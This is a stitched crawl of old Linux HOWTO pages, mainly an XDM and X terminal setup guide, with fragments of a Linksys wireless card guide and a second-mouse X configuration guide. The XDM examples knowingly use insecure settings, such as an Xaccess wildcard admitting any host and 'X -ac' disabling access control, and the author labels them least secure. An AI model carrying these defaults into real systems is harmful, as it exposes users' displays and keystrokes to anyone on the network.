Hermes chipset 802.11b support (Orinoco/Prism2/Symbol)
. This will let you use the Wireless Tools like
iwconfig
,
iwspy
and such.

The one thing I found this good for is that by repeated typing iwconfig, you can see your Link Quality. Its quite good

Prev | Home | Next
Checking things in case they don't work |  | Wireless Access Point


Wireless Access Point

Link-sys WPC11 Mini-HOWTO
Prev Next

8. Wireless Access Point

Perhaps its it missing the forest for the trees, but I did not spend any discussion setting up the actual Wireless Access Point. The reason is that the documentation that comes with the WAP is well written. The only thing I haven't spoken about is enabling Wireless Encryption Protocol in the WAP (Wireless Access Point) which I really don't suggest as I don't think WEP has been properly set up in the drivers for the Pcmcia Wireless Cards. However, let me know if you have any problems and I will be glad to help.

Prev | Home | Next
Wireless tools |  | Request for comments


Request for comments

Link-sys WPC11 Mini-HOWTO
Prev

9. Request for comments

I will be glad to help anyone out and if things are a bit confusing in this quite mini how to, please tell me how I can fix it to make it better.

Thanks!

Prev | Home
Wireless Access Point |


Basic Concepts

XDM and X Terminal mini-HOWTO
Prev Next

2. Basic Concepts

2.1. What is covered

This document describes the basic concepts behind using XDM (the X Display Manager) to manage X terminals and X servers, in order to provide 'thin-client' computing, using Linux.

X (or the 'X Window System') is the windowing and graphics environment of choice for Unix systems. Its particular strength (and the key bit that we are interested in for this document) is that it separates the running applications (web browser, word processor, etc) from the actual graphics screen and input devices (mouse, keyboard, etc) via a network communications mechanism.

Essentially, this means that you can be running an application on one machine, but have its input and output redirected to another machine via a network. This is the key feature that makes an X terminal possible.

This document should be treated as a 'getting started with XDM' document, in that it describes the basic terms and concepts for using XDM and X terminals, with simple examples that provide the minimum amount of security.

The reader is advised to consult the list of resources provided at the end of the document in order to proceed beyond these basic facilities - in particular, the configuration of the 'authentication' and security settings should be examined, as the examples given in this document utilise the least secure modes of operation.

Please note - the majority of the information in this document was obtained from systems running Debian 2.1, SuSE 6.4, Mandrake 7.0 and RedHat 6.0.

This document does not discuss the installation or configuration of a network or X on Linux. Please refer to the appropriate HOWTO documents from the Linux Documentation Project for details (see Section 7).

This document also does not attempt to describe how to install and configure Linux for operation as an X terminal. For this information, please refer to the 'thin-client' HOWTO document, provided as part of the Linux Documentation Project, or the Linux Terminal Server Project (see Section 7).

2.2. About this document

This document came about because I wanted to experiment with Linux on a 486 PC as an X terminal to my main Linux box.

After reading the man pages, specifications and current howto documents relating to XDM and X terminals, I ended up getting really confused about where XDM was supposed to run and confusing XDM servers with X servers and the like, and so after an evening or two of experimentation, this document was born.

Once the basic terminology has been sorted out, the documentation for XDM and self-documenting sample files make very good reading - I just could not find a simple introduction to the basic concepts anywhere to get me started. Hopefully this document could prove to be a suitable introduction to someone in a similar position to me.

Oh, and in case you are wondering, a 486dx2/66 with 16 Mb RAM makes a fine X terminal!

Prev | Home | Next
Introduction |  | XDM


Common Configurations

XDM and X Terminal mini-HOWTO
Prev Next

6. Common Configurations

6.1. Linux to Linux

6.1.1. Stand-alone X Workstation

This has already been mentioned several times in this document, but in summary, it is a PC running XDM, with a single entry in the Xservers file, relating to the localhost (i.e. the local machine).

This is usually the default configuration provided by most distributions 'out of the box'.

6.1.2. X Terminal and Application Server

XDM runs on the application server:

  • Xserver: Contains no entries

  • Xaccess: Must permit the X terminal to connect

X terminal runs X using a direct query to the application server:
          /usr/X11R6/bin/X -query the.application.server

6.1.3. Group of Managed X Terminals

XDM runs on an application server:

  • Xserver: Lists each X terminal to be managed

  • Xaccess: Must permit each X terminal to connect

Each X terminal, just runs X, with suitable access control to permit XDM to connect to it.
          /usr/X11R6/bin/X -ac

6.2. Linux to Other Systems

It is possible to use a Linux X terminal to connect to another system running XDM. The same principles as above apply, but the specifics of configuring XDM (or its equivalent) will be specific to that system.

6.2.1. Linux and Solaris

You can run X on a Linux box, instructing it to query a Solaris machine as previously described:
          /usr/X11R6/bin/X -query the.solaris.server

Note that you may have to configure X on the Linux machine to use the font server from the Solaris box. Although my Linux box connected and logged in fine without doing this, the fonts used by CDE were not displayed correctly.

I have not got this to work yet, as I don't have a Solaris box that I have any control over - but I am told that a font entry in /etc/XF86config similar to the following should work - you may have to change the port number from 7200 to something else (7100 has been quoted at me before). Can anyone confirm that this works?
           FontPath "tcp/solaris.box:7200/all"

6.2.2. Linux and Windows

It is not possible to use X to remotely display Windows applications on a Windows box. It is possible to use X to display Windows versions of X applications on a Linux box, using a Windows X Server and Windows X applications (for example the XFree86 Win32 port - see Section 7)

It is possible to view Windows applications remotely on a Linux box using one of the following applications (which don't rely on X or XDM):

  • Windows Terminal Services (WTS). RDesktop is a Linux application that understands the 'RDP' protocol used by WTS. This enables Linux to act as a client to WTS (see Section 7).

  • Vitual Network Computing (VNC). This is an excellent platform independent remote desktop system that provides a bi-directional 'Windows or Linux' to 'Windows or Linux' networked desktop. It can be a bit slow, but works well (see Section 7).

    You can actually do quite strange things with VNC, such has having multiple machines connect and 'control' the desktop (and consequently 'fight' over control of the mouse :). It also doesn't maintain any state in the client, so you can leave your client, shutdown, bootup again, reconnect and carry on from where you left off. There is even a version of the viewer implemented as a Java applet, usable from any Java-enabled web browser.

6.3. Other Systems to Linux

If you have an X server for your system, it should be able to connect to a Linux XDM application server.

6.3.1. Solaris and Linux

I assume that you would run XDM on the Linux box as usual, and instruct X on Solaris to query the Linux box - does anyone have any information on this?

6.3.2. Windows and Linux

If you have an X server for windows that supports XDMCP queries, then it should be possible to configure it to query the Linux box. You should just run XDM on the Linux box as usual.

There are many commercial X Server implementations for Windows, and I will not list them all here. There is also a port of XFree86 to Windows, that makes use of the cygwin libraries (used to port many GNU/Linux tools to Windows - see Section 7). This works well.

The following batch file would start the cygwin XFree86 X server on Windows and connect to a Linux box (or any OS/machine running XDM), assuming a default installation of cygwin and XFree86 in c:\cygwin (save it as xdm.bat):
           @echo off
           if "%1"=="" goto noserver
           goto allok
           :noserver
           echo Usage: xdm servername
           goto end

           :allok
           set path=%PATH%;\cygwin\bin;\cygwin\usr\X11R6\bin
           c:
           chdir \cygwin\usr\X11R6\bin
           XWin -query %1

           :end

Prev | Home | Next
Advanced Configuration Options |  | Resources


Configuring XDM

XDM and X Terminal mini-HOWTO
Prev Next

4. Configuring XDM

This section covers what needs to be configured for XDM to perform the functions described so far in this document.

In each case, the configuration described is the minimum necessary to accomplish each goal. In most cases this means that the configuration is also the least secure. Please refer to some of the additional documentation listed in Section 7 for information about securing XDM and X terminals (in particular the 'Running Remote X Applications Howto' from the LDP).

4.1. Configuration Files

This describes the following scheme of XDM configuration files:

  • xdm-config

  • Xaccess

  • Xservers

  • Xresources

These must be setup for the machine actually running XDM itself. They will typically be found in (Debian 2.1. Mandrake 7.0.2, RedHat 6.2):
      /etc/X11/xdm
or (SuSE 6.4):
      /usr/X11R6/lib/X11/xdm

xdm-config

Defines the names and locations of the other configuration files and the basic access permissions. For all distributions considered for this document, the file names were as listed here (but sometimes the locations varied).

This also defines the scripts to be run for the various state transitions for an X session, i.e. on startup, etc. You should not need to change these, as most distributions would appear to come with this pre-configured for you.

Note that XDM managed X sessions have a different set of startup and configuration scripts to X sessions started via xinit or startx (i.e. non-XDM managed X sessions).

Some distributions (e.g. Redhat 7.1) include the following line in this configuration file, which will prevent XDM from listening for queries:
        DisplayManager.requestPort: 0
This must be commented out as follows:
        !DisplayManager.requestPort: 0

Xaccess

Determines which machines can connect to XDM - i.e. from which other machines on the network we are accepting XDMCP queries. If a machine is not listed in this file, then it will not be able to request a login prompt from XDM.

Xservers

Contains a list of machines that XDM will connect to, to provide a login prompt, automatically - i.e. those machines already running an X server, but would like this machine to provide the login prompt.

This is only required for 'XDM Managed X Servers'. You do not need any entries in this file if you will be relying on remote X servers to query XDM.

When running as a stand-alone 'X Workstation', there is usually a single entry in this file, listing just the localhost.

Xresources

Details of the X properties used by the XDM widgets (e.g. size of the login 'box', colours, bitmap backgrounds, etc).

4.2. Configuring XDM to Manage X Servers

An entry must be placed in the Xservers file for each X server that XDM will be presenting a login prompt on. This could include the local machine and/or a list of remote machines.

Example
      # First the local host
      :0 local /usr/bin/X11/X vt7
      #
      # Then the remote hosts
      emma:0 foreign
      alex:0 foreign

This will start XDM on the local machine and also present a login screen on the X servers running on the hosts 'emma' and 'alex' (assuming that permissions have been setup on 'emma' and 'alex' such that this machine is permitted to connect to the running X servers).

Note that it is possible to specify the host and display (:0, :1, etc) if required. This is useful, for example, if you are running multiple X servers on a single machine, etc.

4.3. Configuring XDM to Receive Queries

The file Xaccess determines which hosts may query XDM on this machine, in order to request a login prompt.

Example
      # First line for direct queries
      *
      # Following line for indirect queries
      * CHOOSER BROADCAST

This means that any host may request a login prompt via XDM (the first '*') using a direct query.

The 'CHOOSER' line specifies which hosts can connect to XDM using indirect queries - in this case, any host may query this machine for a list of potential hosts to connect to (the second '*' line).

'BROADCAST' means that the 'chooser' application on this machine will obtain its list of available servers (that will also be running XDM) via network broadcast queries. I will talk about the 'chooser' later.

It is possible to place specific host names or specifications of network IP addresses (e.g. a whole IP network or specific hosts) in these entries (and there are also other indirect queries possible, without using the chooser) but this is not described here (refer to Section 7 for some links to more information).

4.4. Starting X

The way you start the X server itself, will depend upon how you want it to interact with XDM locally and remotely.

X Workstation: XDM and local X server

XDM will normally start X automatically for you and XDM will usually be configured to run as part of the startup process (via the init scripts). Most distributions have a specific 'run-level' for starting the system up with a graphical login prompt.

The Xservers file would typically contain a single entry - that of the local host, and the Xaccess file would only need to permit access from the local host.

X Terminal: Remote XDM

Just start X with no clients, with access permissions such that the remote XDM is able to connect when it starts up. The following will start X with no access control:
          /usr/X11R6/bin/X -ac

When the remote XDM is started, it will 'push out' a login prompt to all such configured X servers (as listed in its Xservers file).

X Terminal: Query a remote XDM

Recall there are 3 modes for queries: direct, indirect and broadcast (direct for a single host, indirect for a list of hosts or broadcast for the first host that replies):
          /usr/X11R6/bin/X -query the.remote.host
          /usr/X11R6/bin/X -indirect the.remote.host
          /usr/X11R6/bin/X -broadcast

In each case, X will probably have to be started as root.

It is possible to have a machine automatically start X and perform a query for a running XDM on the network. One way is to 'hijack' the inittab setting for running as a graphical login (this is runlevel 5 on Debian and Redhat based systems, and 3 for SuSE - this example assumes runlevel 5 throughout). This is often the line beginning x:5 towards the end of /etc/inittab. Set this to (or add it if it doesn't exist):
    x:5:respawn:/usr/X11R6/bin/X -broadcast
Replacing -broadcast with -direct or -indirect, etc. as required. You may have to change your default runlevel to be 5 too, (and then reboot), as follows:
    id:5:initdefault:

4.5. Starting XDM

In a standard X workstation configuration, XDM would typically be started up by specifying the default initial run-level to be that corresponding to a full graphical login. On Redhat and Debian based systems this is usually runlevel 5. On SuSE it is run-level 3.

It is possible to run XDM automatically on startup by changing the default runlevel to that described above. This is configured in /etc/inittab as follows:
    id:5:initdefault:

Alternatively it is possible to add a startup script for XDM itself to the rc scripts in the startup directories (/etc/rc.d/ for Redhat/Debian), to start and stop XDM in a similar manner to other services on a Linux machine.

The following script is suitable for a Redhat (and probably Mandrake) based system, and should be saved as /etc/rc.d/init.d/xdm. You will have to enable it using 'chkconfig --add xdm'.
    #!/bin/sh
    # xdm start/stop script for RedHat based systems
    #
    # chkconfig: 234 60 60
    # description: xdm permits remote users to logon to this X display
    # processname: /usr/X11R6/bin/xdm
    # config: /etc/X11/xdm/xdm-config

    # source function library
    . /etc/rc.d/init.d/functions

    [ -x /usr/X11R6/bin/xdm ] || exit 0

    prog=/usr/X11R6/bin/xdm

    RETVAL=0

    start () {
        echo -n $"Starting $prog: "
        # start daemon
        daemon $prog
        RETVAL=$?
        echo
        [ $RETVAL = 0 ] && touch /var/lock/subsys/xdm
        return $RETVAL
    }

    stop () {
        echo -n $"Stopping $prog: "
        killproc $prog
        RETVAL=$?
        echo
        [ $RETVAL = 0 ] && rm -f /var/lock/subsys/xdm
        return $RETVAL
    }

    restart () {
        stop
        start
        RETVAL=$?
        return $RETVAL
    }

    # See how we were called.
    case "$1" in
         start)
        start
        ;;
         stop)
        stop
        ;;
         status)
        status $prog
        RETVAL=$?
        ;;
         restart)
        restart
        ;;
         condrestart)
        # only restart if it is already running
        [ -f /var/lock/subsys/xdm ] && restart || :
        ;;
         reload)
        echo -n $"Reloading $prog: "
        killproc $prog -HUP
        RETVAL=$?
        echo
        ;;
         *)
             echo $"Usage: $0 (start|stop|restart|condrestart|reload|status)"
             RETVAL=1
    esac

    exit $RETVAL

4.6. The Chooser Application

When XDM receives an indirect query, and assuming that the appropriate options have been specified in Xaccess for the 'chooser' application, it can provide the user with a list of other XDM managed servers that it knows about.

In this mode of operation, instead of the normal XDM login prompt, the user will be presented with a 'chooser' application, which will provide a list of detected hosts on the network that are currently accepting XDM connections.

When I first tried the use the chooser, I found that the Xresources files that came with my SuSE and Debian systems, specified a size for the chooser widget that was too big for the screens ... The following line from the Xresources file fixed that:
      Chooser*geometry:      700x500+300+200

The chooser will obtain its lists of hosts by one of two methods:

  • Broadcast Query: In this mode a request is broadcast over the network, and a list is built up from the replies received from other application servers running XDM.

  • Explicit Listing: It is possible to provide a list of hosts for the chooser in the Xaccess file, as follows:
            %hostlist      emma alex liam abigail
        *              CHOOSER %hostlist
    This will mean that the hosts emma, alex, liam and abigail will all be listed as candidates - even if one of the machines is down (there is often a button to 'ping' the host to see if it is running, before trying to connect to it).

Not that it is possible to include the localhost in the list of machines known to the chooser as well. XDM should be configured not to startup on the local console display though. Login should always be performed via an indirect query to the local chooser application, then the localhost should appear alongside any other hosts on the network.

4.7. Alternatives to XDM

Both KDE and Gnome have their own application to replace the standard XDM. They do similar things and are well documented. As far as providing remote X access, there is a single setting in the configuration file for the application to enable XDMCP support.

KDM: KDE Display Manager

The following must be set in the KDM configuration file (/usr/share/config/kdm/kdmrc for a Mandrake 8.1 system):
        [Xdmcp]
        Enable=True

GDM: Gnome Display Manager

The following must be set in the GDM configuration file (/etc/X11/gdm/gdm.conf):
        [Xdmcp]
        Enable=True
To have GDM running without starting the local X server, comment out the line
        0=Standard
in the 'servers' section of the configuration file too.

Prev | Home | Next
XDM |  | Advanced Configuration Options


XDM and X Terminal mini-HOWTO

Kevin Taylor

kevin@northants.lug.org.uk

Revision History
Revision v1.00 | 2002-05-16 | Revised by: KT
Minor updates to all sections. Added details of Windows/Linux interoperability. Added section on starting XDM. Added details of KDM and GDM. Added new software resources.
Revision v0.05 | 14 November 2000 | Revised by: KT
Added cross-references to other Howtos
Revision v0.04 | 6 November 2000 | Revised by: KT
Updates after first public draft.
Revision v0.03 | 3 July 2000 | Revised by: KT
Minor updates from first comments
Revision v0.02 | 28 June 2000 | Revised by: KT
First SGML source draft from HTML source
Revision v0.01 | 27 June 2000 | Revised by: KT
First HTML source draft

This document describes the basic ideas for using XDM to manage X terminals. It is not meant to be a comprehensive discussion of all the features of XDM, but a gentle introduction to what XDM can do.

For a full discussion about the installation and configuration of X terminals, please refer to the 'Thin-client' HOWTO, from the Linux Documentation Project or the Linux Terminal Server Project (see Section 7).

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Credits
1.5. Feedback
1.6. To do
2. Basic Concepts
2.1. What is covered
2.2. About this document
3. XDM
3.1. What is XDM
3.2. What is an X terminal
3.3. Some Terminology
3.4. What can XDM do
4. Configuring XDM
4.1. Configuration Files
4.2. Configuring XDM to Manage X Servers
4.3. Configuring XDM to Receive Queries
4.4. Starting X
4.5. Starting XDM
4.6. The Chooser Application
4.7. Alternatives to XDM
5. Advanced Configuration Options
5.1. Configuration Sets
5.2. X Resources
6. Common Configurations
6.1. Linux to Linux
6.2. Linux to Other Systems
6.3. Other Systems to Linux
7. Resources
Next
Introduction


Introduction

XDM and X Terminal mini-HOWTO
Prev Next

1. Introduction

1.1. Copyright Information

This document is copyrighted (c) 2000-2002 Kevin Taylor and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3. New Versions

The latest version number of this document may be obtained from The Northants LUG, UK Project Pages .

1.4. Credits

Thanks go to the following people for help with information and proof reading of the document.

Scot W Stevenson for the original X terminal mini-howto document, from 1995, on which some of the material for the section on advanced xdm-config configurations was obtained.

Members of the Northants LUG, UK for proof reading the document.

The writers of the XDM, Xserver man pages and the default XDM scripts.

Credits for 0.05

Everyone who commented on the earlier versions, including Neil Zanella, Rafael Herrera, Paul Hornshaw, Clive Jones, Robert de Geus, Alex Schenkman, Richard Kaszeta, Malcolm Herbet

Credits for 1.00

The following people provided feedback and comments which have led up to the 1.00 release: Alan James, Stephen Eglen, Malcolm Hunter, Holgar Hoffman, Patrick Rynhart, Amedeo Lanza, Alexander Skopalik, Mike Banahan.

1.5. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address: <xdm-mini@northants.lug.org.uk>.

1.6. To do

I probably ought to mention some details about the following at some point ...

  • Debugging problems with XDM.

  • FAQs and common mistakes

Prev | Home | Next
XDM and X Terminal mini-HOWTO |  | Basic Concepts


Resources

XDM and X Terminal mini-HOWTO
Prev

7. Resources

This section lists some resources that have been consulted in order to construct this document and which provide further details to the concepts described.

Many of the references listed below form part of the Linux Documentation Project (LDP): http://www.tldp.org/

The X Window System

  • X User Howto (from the LDP)

  • Running Remote X Applications Mini Howto (from the LDP)

  • Man pages: X (main concepts), Xserver (X server concepts)

  • X FAQ (on http://www.x.org/)

Thin-clients/X terminals

  • Thin-client Howto Document (from the LDP)

  • Linux Terminal Server Project: http://www.ltsp.org/

  • Setting up LTSP systems (using quiet hardware): http://development.gbdirect.co.uk/xterminal.html

  • Diskless Howto Document (from the LDP)

  • X terminal pages: http://dns.solucorp.qc.ca/xterminals

  • Richard Kaszeta: Converting old PCs into Standalone X Terminals: http://www.menet.umn.edu/~kaszeta/unix/xterminal/

XDM, XDMCP, etc

  • Man pages: xdm

  • XDMCP Howto Document (from the LDP)

Software

  • Cygwin/XFree86 (Win32): http://www.cygwin.com/

  • VNC: http://www.uk.research.att.com/vnc/

  • rdesktop: http://www.rdesktop.org/

  • X Servers for Windows (and other systems): http://www.rahul.net/kenton/xsites.html

  • GPL Java X Server: http://www.jcraft.com/weirdx/

  • X Terminal/Diskless specific distributions: http://lwn.net/Distributions/

Prev | Home
Common Configurations |


XDM

XDM and X Terminal mini-HOWTO
Prev Next

3. XDM

3.1. What is XDM

Put simply, XDM (the X Display Manager) can be thought of as a graphical replacement for the command line 'login' prompt. In reality, it can actually do much more than that.

Typically, it would be started by the 'root' user (or the system startup scripts) on power up, and would present a user with a graphical login prompt. It will then manage the users X session once they login - i.e. it will initiate the running of their window manager and applications.

This could be considered a typical 'simple local machine login' configuration, as may be found installed by many Linux distributions by default. However, XDM can also manage remote X servers and provide login prompts to remote 'X terminals'. In short, it is not limited to the local machine - it can easily manage other machines connected via a network.

XDM is a very configurable utility and this document will only just 'scratch the surface' of what may be achieved. This document aims to provide enough information to configure your X terminals and application servers to connect to each other. The reader is referred to Section 7 for further information on the topics discussed here.

A note on security: X (in its default configuration) and XDMCP are not particularly secure. I am assuming that you are running X on a 'trusted' network and that security is not an issue. For details of how to tighten up your X connections (and more details about using the networking capabilities of X) please refer to the 'Running Remote X Applications' Howto document, which is also part of the LDP (see Section 7).

3.2. What is an X terminal

This term could be used to cover various configurations, but at its simplest, is a machine with a network connection, keyboard, mouse and monitor, configured to run the X Windows System to connect to an application server somewhere on the network.

There are several configurations of 'X terminal' with varying levels of functionality, ranging from completely diskless terminals to full X workstations.

3.3. Some Terminology

Before I go any further, I ought to explain the terms I will be using in this document. When talking about X, there is quite a lot of confusion over what is serving facilities to what. This is especially true when you are considering distributed sessions over a network involving X terminals. I will be using the terms described below.

Diskless X terminal

This would be a machine with no local disks, that would perform its boot up from an EPROM (or similar) and utilises a network connection to a server. It would obtain its network configuration, operating system, system configuration and all applications from the server. Once booted however, this would be the same as a 'dumb X terminal' (see below). Typically this configuration would use a combination of the following network protocols in order to boot: BOOTP, DHCP, TFTP, etc. Refer to Section 7 for some references that detail how to build diskless X terminals.

Dumb X terminal

This would be a machine that boots from its local disk into an operating system, and starts the 'X server' program and nothing more. Somehow, a login prompt would be provided on the machine, to enable a user to login to an 'application server' somewhere on the network.

X Workstation

This would be similar to a dumb X terminal, but would provide the option of logging on to the local machine itself, hence would be quite capable of becoming a standalone workstation (i.e. no network connectivity) if required. Most distributions can be configured 'out of the box' as a stand-alone X Workstation, with a graphical login prompt.

Application Server

In the context of this document, I use the term 'application server' to describe a machine that will provide the applications (X clients) that our X terminal will want to run. This can include everything from editors and browsers, through to the actual 'Window Manager' itself.

X Server

This is the program that manages the display of a machine with a physical console (display, keyboard, mouse, etc). It can be thought of as a combined graphics card, keyboard and mouse 'driver'. This will provide these facilities as a service to X clients (hence the term 'server'). Please refer to the X User Howto in Section 7 for more details.

X Client

This is an application that requires the use of an X server to access input (keyboard and mouse) and output (display). An X client cannot produce output without the services of the X server. The X server could be running locally (on the same machine, as is the case with an X workstation) or elsewhere on the network (as is the case with an X terminal connecting to an Application Server).

From the above descriptions, an X Workstation could be thought of as consisting of a dumb X terminal and application server running on the same machine.

This document will be looking at the architecture of the various options listed above and will describe the role that XDM can play in configuring them.

3.4. What can XDM do

XDM is responsible for providing the user with a login prompt and initiating their X session. It can manage local sessions (i.e. people logging into an X workstation) or sessions on remote machines, via a connection to an application server, from a diskless or dumb X terminal.

XDM would typically run on an application server, to permit users to logon and run applications from that server.

There are 2 main ways that XDM can interact with an X Server:

  • XDM accepts queries from X server

  • XDM manages X server

3.4.1. XDM accepts queries from X Server

The communications between XDM and the actual 'X server' (the machines with the physical screen/keyboard/mouse/etc) are handled via XDMCP the 'X Display Manager Control Protocol'.

This permits X servers to send out queries to servers running XDM. Effectively, the X server has to say 'I have someone wanting to login - please give me a login prompt'. In this mode of operation, XDM will not do anything unless it is asked to by your X server.

The query from the X server can take one of 3 forms:

  • Direct query: the X server contacts a named host, requesting that XDM on that host presents a login prompt on its display.

  • Broadcast: the X server sends out a broadcast message to the network, and the first server running XDM that responds to the broadcast will be the one to present the login prompt on its display.

  • Indirect query: the X server contacts a named host, but asks it which other hosts it knows about on the network. The named host will then present the user with a list of hosts to choose from, and will then go on to initiate communications with the selected host resulting in the selected host presenting a login prompt on the X servers display.

There are several other options, but these will not be described here - refer to the XDM and XDMCP documentation in Section 7 for more details.

3.4.2. XDM Manages X Server

If you have a set of machines (e.g. diskless or dumb X terminals) that just end up running an X server, all designed to provide a login prompt to a single application server, then it is possible to configure XDM on the application server to connect back to each X server and present its login prompt on each display automatically.

In this mode of operation, XDM will actively 'push out' a login prompt to any listed X server that it knows about, without waiting for a query from the X servers themselves.

In this case, the configuration file 'Xservers' (see later) lists each machine (including the local display, if required) to which XDM should connect, to display its login prompt.

This configuration, when used with no remote X servers listed in the configuration, is the typical configuration used for a X workstation, in order to present a user with a graphical login to the local machine he is working on. As stated earlier, most distributions will support this configuration 'out of the box' in order to present the user with a local graphical login prompt.

Note: XDM must be permitted to connect to the X servers in question - so the access control on the X servers must be configured accordingly.

Prev | Home | Next
Basic Concepts |  | Configuring XDM


Advanced Configuration Options

XDM and X Terminal mini-HOWTO
Prev Next

5. Advanced Configuration Options

5.1. Configuration Sets

The xdm-config file provides a rich set of options, when it comes to defined scripts and other configuration files. In many cases, the defaults provided with your distribution should be fine, but for those of you who want more ...

The names of the startup scripts and configuration files used by XDM are determined by a series of statements in the top-level xdm-config file. This permits you to configure a different set of files for different X servers and X terminals, with different abilities.

For example, say you are using XDM to manage your local display, but also want it to accept queries from other X terminals on the network. It is possible to specify a different Xresources file for each of these cases, by using the following 2 lines in xdm-config:
      DisplayManager._0.resources            /etc/X11/xdm/Xres_0
      DisplayManager*resources               /etc/X11/xdm/Xresources
This will use Xres_0 for the local display (_0 is the XDM way of saying :0) and Xresources for everything else (the '*').

Similarly, if you wanted a particular resource file for a specific host, you would use an entry like the following:
      DisplayManager.host_0.resources       /etc/X11/xdm/Xres_host_0

Note that XDM configuration files use the terminology host_0, where you would normally use host:0, to designate 'display 0 on host'.

If you look over your default xdm-config file, you will probably find that it has been setup so that your local X server has different files to the remote ones anyway, as different things must be performed on startup and reset of the server. My Debian file has the following for local servers:
      DisplayManager._0.resources:    /etc/X11/xdm/Xresources_0
      DisplayManager._0.setup:        /etc/X11/xdm/Xsetup_0
      DisplayManager._0.startup:      /etc/X11/xdm/Xstartup_0
      DisplayManager._0.reset:        /etc/X11/xdm/Xreset_0
and the following for remote servers:
      DisplayManager*resources:       /etc/X11/xdm/Xresources
      DisplayManager*setup:           /etc/X11/xdm/Xsetup
      DisplayManager*startup:         /etc/X11/xdm/Xstartup
      DisplayManager*reset:           /etc/X11/xdm/Xreset

5.2. X Resources

This document has only briefly touched on the available X resources, but I should mention that it is possible to fully configure XDM via the Xresources file.

The following may all be changed if required:

  • Fonts, login prompt sizes

  • Background graphics

  • Window Titles, etc

There is a more detailed discussion of XDM resources, on Richard Kaszeta's web site (see Section 7)

Prev | Home | Next
Configuring XDM |  | Common Configurations


Alternatives

Second Mouse in X mini-HOWTO
Prev Next

6. Alternatives

Another way to use two (or more) mice at the same time time is to use a program such as MultiMouse by Takashi Manabe. It's a daemon multiplexing several mice and making them available through the special device /dev/mumse as a MouseSystems compatible mouse.

According to the author: "This program allows you to use multiple mice at the same time. This program is developed for a subnote user who want to use both a pre-mounted pointing device and a external serial mouse."

I'm not sure if the program supports second mouse other than serial, but the advantage is that the second mouse works in console mode too. MultiMouse can be found at Sunsite (sunsite.unc.edu /pub/Linux/system/Misc) and Tucows (www.tucows.com Linux Console -> Utilities).

Prev | Home | Next
XFree 4.x |  | Credits


Copyright and License

Second Mouse in X mini-HOWTO
Prev Next

2. Copyright and License

This document is copyright 2001 by Greg Wierzchowski and is released under the terms of the GNU Free Documentation License, which is hereby incorporated by reference. Send feedback to greg.wierzchowski@usa.net.

Prev | Home | Next
Introduction |  | Mouse Protocols


Credits

Second Mouse in X mini-HOWTO
Prev

7. Credits

Special thanks to all the people who contribute to the Linux community and who made this HOWTO possible.

Prev | Home
Alternatives |


Second Mouse in X mini-HOWTO

Greg Wierzchowski

greg.wierzchowski@usa.net

2001-07-18

Revision History
Revision 1.2 | 2001-11-17 | Revised by: GW
Corrected for the Wheel Mouse in XFree 3.x.
Revision 1.1 | 2001-07-21 | Revised by: GW
Added "Alternatives" section.
Revision 1.0 | 2001-07-18 | Revised by: GW
Initial Release.

Quick instructions to enable a second mouse in X.

Table of Contents
1. Introduction
2. Copyright and License
3. Mouse Protocols
4. XFree 3.x
5. XFree 4.x
6. Alternatives
7. Credits
Next
Introduction


Introduction

Second Mouse in X mini-HOWTO
Prev Next

1. Introduction

This mini-HOWTO was created by gathering the information already available on the internet, in newsgroups and other HOWTOs. I needed to hook up an USB mouse in addition to the built-in trackpoint on my Thinkpad laptop.

Examples in this mini-HOWTO pertain to my particular hardware configuration, which is PS/2 mouse as a primary pointer and USB wheel mouse as an additional one. It should be pretty straightforward to implement another combination, say, a PS/2 and a serial mice. Two things that would have to be changed are the mouse protocol and the mouse device. Wherever possible, I try to provide appropriate examle.

The instructions for X are divided into two sections, one fro XFree version 3 and one for XFree 4. The format of the XF86Config file has significantly changed between versions and requires slightly different approach. In XFree 3.x, the second mouse has to appear in an Xinput section, which has slightly different syntax than the regular Pointer section. In XFree 4.x, it's just another pointer.

Prev | Home | Next
Second Mouse in X mini-HOWTO |  | Copyright and License


Mouse Protocols

Second Mouse in X mini-HOWTO
Prev Next

3. Mouse Protocols

Two most important parameters in the XF86Config file, ones that are crucial to the mouse working properly are the Protocol and Device.

As far as Protocol is concerned, it seems that gpm uses compatible protocol names, so please look there for the detailed information. Here is the excerpt taken from the gpm info page (just the few most commont types):

Table 1. Most Common Mouse Protocols in X

Protocol Name | Description
Microsoft | Standard Microsoft mice.
MouseSystems | This is the standard protocol for three-button serial devices.
MMSeries | Title says it all. This mouse decoder accepts standard serial options, although they should not be needed.
Logitech | This is the protocol used by old serial Logitech mice.
BusMouse | Some bus devices use this protocol, including those produced by Logitech.
PS/2 | The protocol used by most busmice.
IMPS/2 | "IntelliMouse" on the ps/2 port. Also works with USB mice

Prev | Home | Next
Copyright and License |  | XFree 3.x


XFree 3.x

Second Mouse in X mini-HOWTO
Prev Next

4. XFree 3.x

In XFree 3.x, additional pointing devices, like mice or tablets, are defined through the use of an Xinput section. The primary mouse is defined as usual:
Section "Pointer"
    Protocol    "PS/2"
    Device      "/dev/mouse"
EndSection
In the case above, it's a regular three-button PS/2 mouse, which works for the trackpoint as well. Now, for the USB mouse:
    Section "Xinput"
  SubSection "Mouse"
    DeviceName "USB Mice"
    Protocol "IMPS/2"
    ZAxisMapping 4 5
    Port "/dev/input/mice"
    Alwayscore
  EndSubSection
